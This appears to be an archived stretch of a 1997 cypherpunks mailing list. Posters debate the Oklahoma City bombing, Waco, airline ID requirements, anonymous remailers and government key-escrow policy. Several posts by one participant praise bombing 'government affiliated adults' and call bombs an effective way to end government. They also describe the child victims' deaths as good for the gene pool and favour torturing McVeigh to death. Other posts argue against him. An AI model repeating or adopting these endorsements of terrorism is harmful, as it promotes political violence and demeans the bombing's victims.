a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From declan at well.com Thu Jun 5 00:58:35 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 5 Jun 1997 15:58:35 +0800 Subject: NetAction -- another big government "cyberliberty" group Message-ID: *sigh* --Declan ---------- Forwarded message ---------- Date: Wed, 4 Jun 1997 23:34:45 -0700 (PDT) From: Audrie Krause To: declan at well.com Cc: fight-censorship at vorlon.mit.edu Subject: Re: Micro$oft Monitor: Sidewalk Spam Sorry, Declan, I don't share your rather naive belief that industry is going to regulate itself. At 01:37 AM 6/1/97 -0400, Declan McCullagh wrote: >Glad to see Net Action is pointing out potential privacy violations or >potential for spam (though there seems to be no evidence saying Microsoft >in fact has sent such spam). > >But what I find interesting is that NetAction is using the Net, the >press, the media to broadcast Microsoft's bad privacy policies. Then >people can choose to visit or not, or to read the notice more carefully. > >Thus I see no need for FTC rulemaking. I hope that is what NetAction will >be saying to the FTC. Etrust is another solution NetAction should support. > From paul at fatmans.demon.co.uk Thu Jun 5 01:13:08 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 16:13:08 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: > As to the Children of OKC, people who turn the care of their children > over to government employees or contractors do not place too high a > value on those children. I certainly don`t agree that a high value was not placed on the lives of the children by their parents, but the parents were guilty of naivety, stupidity and placing the children at risk. > think those children who died weren't cared for? You are a sick person who > should seriously consider therapy. Anyone who read this and said "Yeah!" I certainly feel the parents, though guilty of no crime, have only themselves to blame for the needless deaths of their children. > understand this? There is no reason to blow up kids. It's wrong. For any > reason. Of course, but the children shouldn`t have been there in the first place. McVeigh, if he did it, is guilty of murder, on those children alone. He commited an initiation of violence against innocent and defenceless human beings, this is why I believe the bomber, whoever he/she is, should die for their crimes, BUT, the childrens lives were placed at risk by their parents because they believed they would be safe in a federal government building, very bad move. I`m not absolving McVeigh from guilt, just pointing out basic facts. > who may be important to you have parents who "care" about them enough to > scour the planet to find a good,safe day care that isn't withing the blast > radius or > shooting range of : > > A government office. > A large corporations headquarters. > A law firm. > A post office. > A town square. > A restaurant. > A bank. > Anywhere some asshole might have a gun and go loopy. > Anywhere some asshole might have a car be drunk and go loopy. > Anywhere some asshole might have a gun and a car and be drunk and go loopy. The bottom 3 suggestions are clearly an excessive over-generalisation of the point, the parents could not really be reasonably expected to believe their children would be harmed by a crazed gunman. As for the drunk driver, do you let your kids run unattended on busy roads? Placing them in a federal building was a stupid act, not criminal, but most definitely not the act of a sensible person. > To all the dipshits who could possibly think otherwise. I should also > mention it is an EQUALLY fucked up thing to blow up adults. Depends who those adults are, as I said in a post yesterday, I do not subscribe to the "save the children!" mentality, and killing an innocent adult is as criminal as killing an innocent child, but those children could not possibly have initiated agression against McVeigh, because they were under the age of criminal responsibility (which is a hazy area, but I think this case is pretty clear cut). Blowing up guilty, evil, and government affiliated adults is to be highly commended. > Like my fellow Santa Clara County Resident Bill Frantz said : > > For cypherpunks this comes down to: Make code, not bombs. True, code will lead to further liberation in the virtual communities, but bombs are an effective device for ending the corrupt tyrannical government that rules us. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Thu Jun 5 01:13:28 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 16:13:28 +0800 Subject: McVeigh In-Reply-To: <33959B0B.167E@ai.mit.edu> Message-ID: > > > Hallam-Baker, realizing he is a soft target, wrote: > > > I would say that the visible and government-vilified militia groups have > > been damaged by this, because of the killing of innocents. Where is the > > second AP bot, I know about the one at sympatico....... > > I find it very hard to credit people as being opposed to > censorship when they make thinly veiled threats of murder > when people post things they don't like. What? - I don`t seem to recall making any threat, if you are referring to the AP quote above, see the post it was in reply to which mention 2 AP bots, I asked where the second was, this was not even intended as a humorous mock-threat, I did not even notice it looked threatening in context. If you are referring to the "soft target" quote, that came from a post I replied to and was not mine. Look elsewhere. Also, you are clearly under some misconception if you feel censored or threatened by my speech, as anyone who reads my posts often will know, I would take no initial agressive act against anyone. > This is the type of censorship that the IRA uses in NI, > Catholics who join organisations opposed to the IRA get > death threats and threats of punishment beatings. When > the parents of the five year old murdered by an IRA bomb > placed in a rubish bin outside a McDonalds announced > a US speaking tour the IRA threatened to murder them. The IRA are a bunch of thugs, who happen to serve a useful purpose, personally however, I would say than on balance their attacks on civilians and private property harm the cause of freedom by showing that some of the "terrorists" around really are nasty scary control-freaks. > Murdering your opponents for what they say is censorship. Quite so, you seem to be answering a point I never made, please elaborate on this deep issue you appear to have just discovered. > Bell's Murder Politics scheme was a censorship scheme. Wrong, Bells AP was intended by Bell as a defensive system to be used against agressors, saying AP is a censorship scheme is like saying a gun is a tool of censorship because you can kill someone with it. So is a knife, so is a big stick. > The fact that Miltia sympathisers condone censorship > through murder while fulminating at censorship by > governement does not surprise me in the least. i can > guess that someone will try to redefine censorship to > exclude death threats. All speech is non-criminal and non agressive, I could make a direct death threat with specific details and would not consider my actions criminal, I am no militia sympathiser, if McVeigh did kill those children he should die for it. I agree that militia groups along the lines of those McVeigh was supposedly acting for are merely factions which wish to take over the state, not destroy it. > It is precisely beause of this type of behaviour that > people consider the militias and their sympathisers to > be fascist in nature and a threat to the values they > claim to defend. Quite so, but "defending" society from a few fascists does not remove the responsibility of a government to govern properly in a minarchist fashion, nor indeed does it change the fact that government "evolves" to become invasive and unnaturally large. McVeigh was a highly deranged individial if he did bomb the building, when caught he was wearing a T-Shirt with the Jefferson quotation on it "The tree of liberty from time to time must be replenished with the blood of patriots and tyrants", McVeigh did not believe in personal liberty, supposedly (although this is media reported so I cannot fully believe it) McVeigh was just another loon who wanted to take over the government to turn it in his own preferred direction. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Thu Jun 5 01:14:12 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 16:14:12 +0800 Subject: McVeigh In-Reply-To: Message-ID: > A better question, and a bigger issue is this: what plausible explanation > was given for the lack of BATF agents in the building on that day? Could > it be that they knew about the attack? If they did, why did they allow it > to happen, thus killing those kids in the day care center. If they did, > we know who the true criminals are. But this is a good question. Will we > ever know the truth? We may speculate, we may even know the truth. The government however won`t allow a small thing like truth to stand in their way. > IMHO, If McVeigh did what he did, frying or lethal injection is > acceptable, he decided to take an action that would potentially cost him > his life, gambled and lost. Yes, he is guilty of murder and I would favour torturing him to death slowly, this is not emotional reactionism, merely a desire for justice and fair punishment. As I have said, I personally believe McVeigh was guilty, this does not make it so, and no jury in the world should have convicted him on what was presented. > Like all terrorists, the price of killing > many is the price of being killed. Etc. It's a fair trade from one point > of view (though my money says he's shitting bricks right now), unfair from > the victim's point of view. A fairly natural reaction, McVeigh will suffer the most if he is executed, I would imagine that unless you are a deeply religious person the knowledge of your impending death is indeed terrifying. I recall a near miss I had in a car a while ago, I thought I was going to hit an oncoming car and be killed, only lasted about 10 seconds, if that, yet it was the most terrifying experience of my life, going through than for weeks or months is indeed a fitting punishment if he is guilty. > Life sucks. Death sucks even more. Indeed, sometimes in very dark moments I do believe being dead might be more fun , less to worry over, but the will to self destruction is surrender. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Thu Jun 5 01:14:22 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 16:14:22 +0800 Subject: McVeigh In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: > Give it a rest. The people inside had already murdered several BATF > agents. They had every opportunity to release the children and allow > them to get to safety. They had every opportunity to surrender. The acts were not of murder, the compound inhabitants were simply acting in response to the BATF agents actions of trespass, of course they had opportunity to surrender, so did the jews in nazi Germany. > The US police may be incompetent and corrupt but that does not excuse > the Oaklahoma bombing nor does it in any way lessen the responsibility of > McVeigh and those who encouraged him. For once I agree, but on a trivial and unimportant point. Further those who encouraged him may be responsible, but are not guilty of any crime. > If you have a duly authorised warrant from a court, the inhabitants have > shot at people from inside the building and you give them two months to > surrender, sure go for it. If the people they shot at were trespassing on their land they have done nothing wrong. If I come to your front door and give you 2 months to surrender your house to me, I think I can predict your reaction. > yeah peacefull types whose response to a visit from the police was to > lie in ambush and shoot at them with automatic weapons. Quite so, the police are agressors by trespassing on their land they commited an initiation of agression. Don`t give me this "reasonable force" bullshit either. > So are you suggesting that the police ignore the complaints of illegal > ownership of firearms and child abuse? Yes, illegal ownership of firearms is an oxymoron, no weapons should be illegal. As for the child abuse, that is a thornier subject, but the police had no right to be there. > And in any case the point is that Waco does not absolve McVeigh and > the militias for the blame for Oaklahoma. No, but it doesn`t change the fact that no-one is supporting McVeighs agressive act against the children in that building. There are many sides to this case, it is not just a black and white case, there are a lot of angles one can analyse and judge it from. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From kent at songbird.com Thu Jun 5 01:17:44 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 5 Jun 1997 16:17:44 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: <19970605010358.20968@bywater.songbird.com> On Thu, Jun 05, 1997 at 12:14:20AM -0400, frissell at panix.com wrote: >>Yes, some pathetic strange little boys swaggering around in never-never >>land. Lonely individuals with shriveled hearts, stunted morals, and >>feverish imaginations, who brag contemptuously of their superiority >>over "sheeple", and boast of their heroic roles in the coming >>revolution. > >I hope you're not referring to Lucky, or Time May, or me. Lucky has a >successful career in a computer-related field. Tim was exceedingly well- >integrated into the work force at Intel and did a great deal of valuable and >lucrative work for them. I am married with four children (who I never sent to >a government school) and get along well with a host of friends and co-workers. > I have achieved a modicum of success as a writer and speaker. I happen to be >a neo-victorian myself. Clinton has a *very* successful career as a politician, and has done a great deal for Intel, in that role. And he is a great family man who also gets along well with a host of people. I was characterizing the people Lucky described: Some on this list will even say that the kids' deaths fortunately reduced the negative impact their parents can have on the gene pool. If you, Lucky, or Tim hold such sentiments in your heart, then I am referring to you. Lucky's statement that people putting their children in daycare in a federal building are "criminally stupid" is simply contemptible. >Why is it that when someone like Al Gore expresses strong and extremist views >as he did in "Earth in the Lurch" (or whatever that book was called) no one >ever claims that he is " a pathetic strange little boy swaggering around in >never-never land. A lonely individual with a shriveled heart, stunted morals, >and a feverish imagination." Of course, Gore has been called far worse things, many times over. Probably on this very list. You know that, I know that. > >How do you know our hearts are shriveled? Can it be because we can do the >math and figure out the Feds are *much* bigger killers than McVeigh? No Duncan. It's because your first thought is to do that math. It is one thing to be aware of the many, many failings of human beings and their governments. It is another thing to savor rightous anger, keeping score, and thinking of suitable revenge. Besides, who the heck are "the Feds"? What set of human beings are you thinking about? >Why >don't you bleed for *their* victims. I do. Though I wouldn't use that metaphor. >Remember, government's crimes are worse >than private crimes (even apart from the higher body count) because a serious >breach of duty and trust is involved. Keeping score again, eh? Government -5 billion, Duncan 10. >Look, people are bound to disagree over social policy and even right and >wrong. But since everyone is much more powerful than they used to be, >a force- >based monopoly on policy and morality ("others" government) just can't be >sustained anymore. Why on earth would you think that? >Your side just simply doesn't have the artillery. "My" side? You probably mean the "government". If so, you are deluded. If not, you are right -- I personally have only a small armory -- a few automatic weapons, two tactical nukes, some conventional explosives, and a big pocket knife -- just your average homeowner arsenal. >It >would be better for everyone if you would recognize reality, step back, and >allow self-government to replace others-government. I'm not standing in anyone's way, and it wouldn't make any difference at all if I did, because I am an insignificant zero who comforts himself with the thought that being a clown is an honorable profession. That's reality. You should take a hit, sometime -- it's heavy stuff. But you know who really needs a heavy dose -- it's that Bob Hettinga fellow -- his head is shaped strangely like a big brick, and he gets it wedged in the strangest places. > It will happen anyway. Yep. And the second coming is just around the corner, now that the comet has arrived with the mother ship. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From nicol at highway1.com.au Thu Jun 5 01:36:39 1997 From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions) Date: Thu, 5 Jun 1997 16:36:39 +0800 Subject: May's Banal Rant In-Reply-To: <19970603161233.30762@bywater.songbird.com> Message-ID: <199706050823.QAA09314@hedgehog.highway1.com.au> > Crypto-anarchy is like communism -- great in theory, impossible in > practice. What "Communism" ? Bolshevik-ism perpetrates heirarchies as a design principle. This is obviously some new definition of the word "great" that I have been previously unaquainted with. Peter Nicol Global Media Magnet nicol at iap.net.au 019 111 943 "Nonlinear models differ form linear ones in a number of ways. Rather than trying to figure out all the chains of causality, the modeler looks for nodes where feedback loops join and tries to capture as many of the important loops as possible in the system's "picture." Rather than shaping the model to make a forecast about future events or to exercise some central control, the nonlinear modeller is content to perturb the model, trying out different variations in order to learn about the system's critical points and its homeostasis (resitance to change). The modeler is not seeking to control the complex system by quantifying it and mastering its causality; she wants to increase her "intuitions" about how the system works so she can interact with it more harmoniously." From pooh at efga.org Thu Jun 5 01:43:41 1997 From: pooh at efga.org (Robert A. Costner) Date: Thu, 5 Jun 1997 16:43:41 +0800 Subject: McVeigh is not the issue! In-Reply-To: Message-ID: <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net> -----BEGIN PGP SIGNED MESSAGE----- At 10:44 PM 6/4/97 -0700, Steve Schear wrote: >>(The airlines claim the FAA is requiring traveller identity. Maybe yes, >>maybe no. > >Traveler ID is not 'required', however if you don't possess a government >issued ID and/or have paid for your ticket via cash within 48 hours of >departure expect some delays in your travel and a through search of your >baggage. In the Atlanta airport, positive gov't issued picture ID is required to be able to board an airplane for Delta, the main carrier, and about the only airline I fly. I have medallion level friends who have been refused the ability to board because they did not have picture ID on them. Stories include no travel with temporary, non-picture driver's licenses, having to go home to get the license, having a license fedex'ed to the destination city in order to board to get home, and reticketing on another airline that will accept a company ID. Cash has nothing to do with it. Business travel from repeat customers paid by American Express and ticketed through corporate travel agencies (American Express Travel) still have the ID requirement. As far as I know, all Atlanta airline departures require picture ID, though at least one airline will consider a company ID if pressed. I believe this is a bad policy, and think it should be opposed. Perhaps a law should be considered to change this. But obviously many people here would tell me I could just take another mode of transportation, such as riding the bus. Airlines are private corporations owned by their owners, not by their riders. The airlines apparently have a right (as Delta is doing) of demanding any prerequisite they wish for travel. In the case of Delta, the prerequisite is "May I see your papers, please?" I believe in anonymous travel, just as I believe in anonymous speech, and anonymous transactions. I recently subscribed to this list to help mature my views on issues such as collection and verification of electronic database information by private and gov't entities. I'm curious where the people here stand on such a policy. Do you feel that positive ID to fly on a plane should be permissable? How about a law to put a stop to it? -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5Z4EEGpGhRXg5NZAQFqngH/cFolkgUv2Bx7hGchz1qYTi5wQ4IAASsH uCQRMEEqxra0ZtqFASBXGJokTwqzb2ueJbxnenPS1BWd6foCqkbOIg== =kpOc -----END PGP SIGNATURE----- From mark at unicorn.com Thu Jun 5 02:34:58 1997 From: mark at unicorn.com (Mark Grant) Date: Thu, 5 Jun 1997 17:34:58 +0800 Subject: Who "invented" remailers? Message-ID: Alan (alano at teleport.com) wrote: >Currently, use of the Mixmaster remailer system is out of reach of most >of the average users out there. The only serious project to address that >need has been Private Idaho and development has stopped on that project. Privtool (my PGP-aware mail program for Unix) has supported Mixmaster remailing for years (just click a box and off it goes) and would also support nym.alias.net if it hadn't gone down just as I started building in the capability (it currently supports decryption but not posting). Anyone who wants to use my remailing code is free to rip it off under the GPL. Currently there are at least two people developing Private Idaho and possibly more. However, even command-line Mixmaster remailing is much simpler than using the Type-I remailers. >Currently the nymserver network is in pretty bad shape as well. They are >difficult to use and are dependant on the whims of the remailer network. I've been playing with Premail and found it pretty easy to use. As I said above, reliability is the main problem; particularly when you lose the entire domain now and again. Mark From paul at fatmans.demon.co.uk Thu Jun 5 03:52:07 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 18:52:07 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <19970604173133.51738@bywater.songbird.com> Message-ID: > > Some on this list will even > > say that the kids' deaths fortunately > > reduced the negative impact their parents can have on the gene pool. > > Yes, some pathetic strange little boys swaggering around in never-never > land. Lonely individuals with shriveled hearts, stunted morals, and > feverish imaginations, who brag contemptuously of their superiority > over "sheeple", and boast of their heroic roles in the coming > revolution. Very poetic, forgive me if I fail to see the point. > And thank you, Lucky, for enlightening me -- it isn't the OKC bomber > who is the criminal, it's the people who put their children in the > daycare center! There's only one punishment suitable for such > "criminally stupid" behavior! Lock and Load! Now this to me is an ideal example of the sort of twisting of other peoples points that is typical of Kents dialogue. Lucky actually said that the parents were stupid putting their children in that daycare centre. They were, the parents have no-one to blame but themselves for the fact that their children were unnecessarily placed at risk. however, this neither makes the parents guilty of any crime nor does it absolve McVeigh, or whoever did it, from blame. Lucky was right, the removal of those children from the gene pool was probably advantageous, that does not make it right, simply a judgement after the fact. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Thu Jun 5 04:18:23 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 19:18:23 +0800 Subject: McVeigh is not the issue! In-Reply-To: <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net> Message-ID: > I believe this is a bad policy, and think it should be opposed. Perhaps > a law should be considered to change this. But obviously many people > here would tell me I could just take another mode of transportation, > such as riding the bus. Airlines are private corporations owned by their > owners, not by their riders. The airlines apparently have a right > (as Delta is doing) of demanding any prerequisite they wish for travel. > In the case of Delta, the prerequisite is "May I see your papers, please?" A brief reading of the above rant should illustrate to anyone who was not convinced previously that Robert has gone over the edge. Who are you to decide what the privately owned airline asks for a prerequisite of allowing you to travel on their planes? They are free to enforce whatever terms they wish in a private contract between themselves and the passenger. If more people refused to travel on airlines because of their requirements they would stop asking for ID. If the giving of real, genuine ID were not mandated by law you could just give a false ID card (providing the contract had to clause against this). Where did you obtain such a strange view of the world as to believe a private corporate entity cannot enforce whatever contract it wants? > I believe in anonymous travel, just as I believe in anonymous speech, and > anonymous transactions. I recently subscribed to this list to help mature my > views on issues such as collection and verification of electronic database > information by private and gov't entities. > > I'm curious where the people here stand on such a policy. Do you feel that > positive ID to fly on a plane should be permissable? How about a law to > put a stop to it? The fact is the government has no right to demand that true genuine ID be given under any circumstances. The corporation can in a private contract demand that the ID it is given is genuine, breach of this contract will carry whatever penalties are negotiated and included in the contract. An anarchist society may not necessarily be more private than a police state, one merely has the right to choose in the former. If the contract between myself and an airline demands that I release information I am not happy releasing, I can walk away. If I have no other means of transport then I have only two choices: Travel or don`t. Your views appear to me to be more socialist than anarcho-capitalist or even minarchist. I would personally much rather see a world where my private information is free for everyone to see, than one where corporations and private individuals are not free to make whatever contracts they want, of course, the two are not mutually exclusive. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From wfgodot at iquest.com Thu Jun 5 05:16:21 1997 From: wfgodot at iquest.com (Michael Pierson) Date: Thu, 5 Jun 1997 20:16:21 +0800 Subject: Maneuvering the Instruments of Control Through Deception Message-ID: <199706051125.GAA07090@vespucci.iquest.com> -----BEGIN PGP SIGNED MESSAGE----- Watching the rapid fire succession of Administration rulings and gambits, and the developments of various contending legislative proposals and industry initiatives, along with all the debate over the differing implications and portents of this distracting plethora of moves and countermoves, has made for quite an intriguing spectacle. In particular, the recent controversies over threatening elements in the SAFE bill and the motives of the legislators involved, as well as the contentions concerning Netscape's aims or quality of judgment in its latest key recovery announcements reminded me of some lines from R.G.H. Siu's _The Craft of Power_: ...There is an increasing need as time goes on for a voluntary surrender of freedom on the part of the people at large or at least for a relative passivity toward encroachments on it. An essential instrument for bringing this predisposition into being is propaganda. The purpose of your propaganda, then, should not be sympathetic education but subtle manipulation. [...] Orthodoxy should not comprise your primary objective in propaganda, but what Jaques Ellul has called orthopraxy. This is "an action that in itself, and not because of the value judgments of the person who is acting, leads directly to a goal, which for the individual is not a conscious and intentional objective to be attained, but which is considered such by the propagandist." Knowing the real action to be taken in furtherance of the objective behind the informational barrage, the propagandist "maneuvers the instrument that will secure this action." I thought Lucky Green keenly observed what might be considered an example of this process in action when a while back on the Cryptography list he wrote: > This simply attests to the thoroughness with which the GAK forces > have managed to frame the debate. There is zero need for key recover > if the goal is to locally obtain plaintext. However, the vast > majority of large businesses out there have been convinced that they > need key recovery to achieve this goal. > Therefore they are now demanding to be given a specific method for > achieving this goal, the method most beneficial to outside forces. > A truly brilliant deception. It is certainly a sly move, but like other sleights of hand, it benefits when a certain naivete is present in its targets. For businesses, there is an additional economic calculus involved that can sometimes make the deceptions harder to discern, or easier to swallow, or both to varying degrees. But for the adamant opponents of GAK, these subterfuges should not seem so obscure. It's clear by now that the core pro-GAK forces have a good appreciation of Sun Tzu's dictum that "All warfare is based on deception." There are some other passages from Sun Tzu that seem somewhat topical to recent events. In all fighting, the direct method may be used for joining battle, but indirect methods will be needed in order to secure victory. Indirect tactics, efficiently applied, are inexhaustible as Heaven and Earth, unending as the flow of rivers and streams; like the sun and the moon, they end but to begin anew; like the four season's, they pass away to return once more. ...Thus one who is skillful at keeping the enemy on the move maintains deceitful appearances, according to which the enemy will act. He sacrifices something, that the enemy may snatch at it. By holding out baits, he keeps him on the march; then with a body of picked men he lies in wait for him. Of course, the nature of the battlefield and the makeup of the forces contending are more complicated, subtle, and considerably more abstracted than the matters that Sun Tzu was concerned with. Nevertheless, certain themes remain timeless in warfare both military and psycho-political. Documents that EPIC and others have managed to acquire through FOIA requests show that duplicity has been part of the game plan on this issue since prior to the Klinton Administration. The hardcore surveillance state forces have long subscribed to the principle that "In war, practice dissimulation, and you will succeed." My impression is that they have adhered pretty consistently to that principle so far. It seems that some of the internecine controversy of late amongst the various factions in general opposition to GAK and other forms of privacy escrow and intrusion, to varying degrees, comes from disagreements regarding the relative merit or malignancy of differing political approaches and the motivations of the political actors involved. In part, this can depend upon where on the Anarchist-Minarchist-Benevolent_social_welfare_state spectrum they come from, and the intensity of their mistrust, or outright hostility, toward the process and role of government, but numerous other factors are involved. Many of these disagreements are valid and will continue (hopefully, though, not to the point of serving the purposes of the main adversary). One could argue that some who might really believe they are trying to preserve privacy will end up undermining it instead. The road to hell can indeed be paved with good intensions, as well as bad, naive, opportunistic, calculating, or craven... But in a broader strategic sense, those paving the road to hell, or what they are paving it with, can be less important than understanding the mentality of those who sway its course there, and the means they use to achieve their ends. Chief among these means is their use of deceit. Deception and sophistry are time honored tactics of those who want to build a more intrusive authoritarian state. The people who have promoted the kind of "2 + 2 = 5" reasoning that's been used to rationalize things like "good faith" exceptions to the Fourth Amendment, or the contemptible mockery of due process represented by government's abuse of civil forfeiture, are of essentially the same ilk as those who now expect citizens to accept assurances about "lawful authorization" and due process when it comes to their promotion of CALEA and GAK. The fearmongering exaggerations and misrepresentations that are spread by GAK proponents are part of a larger pattern as well. David Burnam's excellent 1996 book on the Justice Department _Above The Law_ does a good job of documenting some of this with respect to the flagrantly misleading representations of national crime statistics by the FBI and others early in the Clinton administration and before, and provides some useful perspective on their more recent claims concerning the need for new electronic surveillance infrastructures and encryption controls. It isn't simply the talent for facile deceit that characterizes the effective surveillance state advocate, but also the ability to maintain a pious pretense (and rarely perhaps even the self-delusion) of support for privacy and civil liberties while pushing the policies that undermine these very things. Senator Kerry's remarks on his Orwellianly titled "The Secure Public Networks Act" come to mind. A particularly telling and ironic example of this appears in a transcript from the FBI website of a speech given by Director Freeh in Krakow Poland during June 1994: "The Nazi terror began not by breaking the law but by using the law. The morning after the Reichstag fire in February, 1933, President Von Hindenburg was persuaded by Hitler to invoke Article 48 of the Weimar Constitution. This emergency provision of the national law was the key to its elimination. It enabled Hitler to suspend individual and civil liberties, freedom of speech, press and assembly; it allowed warrantless searches of homes and the seizure of property without due process of law. [...] SS and SA members then started a wave of political violence which culminated in a March, 1933, Enabling Act granting dictatorial powers to Hitler. Hitler's brutal usurpation and exercise of power was in part carried out by clever use of the police and the corruptly controlled enactment of new laws." One wonders how Mr. Freeh went about reconciling this knowledge of history with his role as point man for the Clinton Administration's attempts to stampede legislation for new "anti-terrorism" powers following Oklahoma and last summers TWA explosion/Olympic bombing episodes. As Freeh's remarks reveal, the role terrorism has played in promoting the agendas of authoritarian statists has been quite notable. Terrorism's major consequences in history appear largely to have been to serve the expansion of the domestic powers of the states targeted, not the furtherance of the agendas of the terrorists responsible (or allegedly responsible). In fact, some states have found terrorism so valuable in this regard that when terrorists did not exist, it was necessary to invent them (or facilitate them, or exaggerate their threat). The state's concerted cultivation and fanning of fear and hysteria in relation to acts of terrorism (with the aid of the major mass media) is a increasingly refined art form. It's role has become so significant that it deserves a name. I call it State Sponsored Hysterrorism. While acts or threats of terrorism are the the most valuable adjunct to the exploitation of hysterrorism; fear mongering concerning other major bogeymen, most notably the specter of drugs, pornography and pedophilia, can occasionally be used to achieve the requisite level of alarmed herd psychology, and the extra marginalization of reasoned deliberation necessary to serve the ends of the hysterrorists. I think the U.S. Government's campaign of hysterrorism following the TWA explosion/Olympic-Park bombing is a case study for what we can expect in the future. The political exploitation of this event was a contingency plan in waiting for the right bomb to go off somewhere. Next time, they will be even more prepared. There might be a few in the anti-GAK camp who are still inclined to entertain the notion that the Clinton administration's actions with regard to GAK and CALEA have been largely due to them being misguided, or benighted, or gullibly enthralled with apocalyptic scenarios drawn by secret intelligence reports, and crime threats painted by latter-day Hoovers. Perhaps they believe that if the Clintonites could only be made to understand the futility of attaining their "professed" objectives, they would be reasonable. But the fact (from my vantage) is that following the Oklahoma bombing, and even more egregiously, following the the TWA/Olympic events last summer, this administration dishonestly promoted and endeavored to exploit public fear and the political intimidation that could be derived from that fear in a cynical attempt to stampede the ill-considered passage of legislation granting sweeping new surveillance powers to the government. These attempts to subvert and hot-wire the legislative process in this regard, as well as the disingenuous shell games they have played with their succession of Clipper and key escrow/recovery proposals and initiatives, have cast serious doubt in my mind on the quality of their principles, misguided or otherwise. I view the government's exploitation of occurances of terrorism and hysterrorism to be the most potent potential threat to privacy and civil liberties we face. The stage is now being set by an increasing drumbeat of warnings, news specials, and so forth about the threat of more exotic forms of Nuclear, Chemical or Biological attack. I recall a melodramatic news piece a while back where a reporter sensationally demonstrated how easy it was to get a shoebox-sized container filled with test-tubes on a subway train, and a host of "experts" were interviewed about the potential pandora's box of nasty possibilities awaiting us in the years to come. A few weeks ago, a forum on terrorism in Atlanta, organized by Former Senator Nunn and attended by Defense Secretary Cohen and others, brought lurid speculation on things like the future development of custom engineered viral pathogens, and warnings about "the Internet transmitting knowledge to people all over the globe in how to make weapons of mass destruction." One gets the impression like they can't wait until their menacing forecasts are validated. The message is that uncontrolled Information is Threat, and that we're going to need protection from many new forms of Data Crime in our Fearful New World. Sadly, considering the public at-large's current suseptibility to the politics of fear, it probably wouldn't take much to sell this message. Major acts of terrorism aren't the worry of those who most want the institution of intrusive state powers, it's their secret wish. The Friend's of Big Brother are holding some strong cards, but many of them rely on appeals to fear and ignorance. Their ability to deceive, mislead, distract, ensnare, market fictions, manage perceptions, and structure the terms of debates to their advantage can be quite formidable at times. It was fortunate that they miscalculated early on concerning the political repercussions from the persecution of Phil Zimmermann and the ham-handed Clipper_I proposal. While they continue to make tactical errors which can be exploited, they are refining their approach as time goes on, and their more successful tactics can be considerably less obvious than their blunders. Perhaps having discovered the drawbacks of frontal assaults, one of their new guiding principles might be "when using our forces, we must seem inactive; when we are near, we must make the enemy believe we are far away". Insidious machinations (stego-politics?) are more challenging to counter, but like other forms of legerdemain, knowing what to look for makes the artifice easier to discern and derail, however deftly done. - From the surveillance statist's perspective on the public, it is indeed true that "Ignorance is Strength". While the "Knowledge is Power" forces may be outgunned in certain respects, they do have the advantage of not being hampered by the need to conceal duplicity. The ultimate solutions to preserving privacy may turn out to be technical, but whether one is an avowed cryptoanarchist, or a libertarian (!'L') type with mixed minarchist inclinations (sort of like me), or whatever, in the near term, developments in the political arena are far from irrelevant. The state's most serious opponents to privacy well understand the value of swaying public perceptions and attitudes. Their best hope is to find a way to shape public and congressional opinion in a way that will allow them to get restrictions on unconditionally secure encryption passed into law, the sooner the better. The longer they can be delayed and stymied, the less likely they are to succeed. In any case, we should be careful not to play into their hands, or provide them with material to facilitate their efforts to foster fears. In the words of Sun Tzu, "the highest form of generalship is to balk the enemy's plans" -- not to serve them. In the struggle to defend our privacy, personal sovereignty, and liberty in general, there will be disagreements over where the enemy lies, and how to best take aim against it. Whatever the disagreements, I hope we can at least manage to avoid standing in a circle as we fire. -Michael -----BEGIN PGP SIGNATURE----- Version: 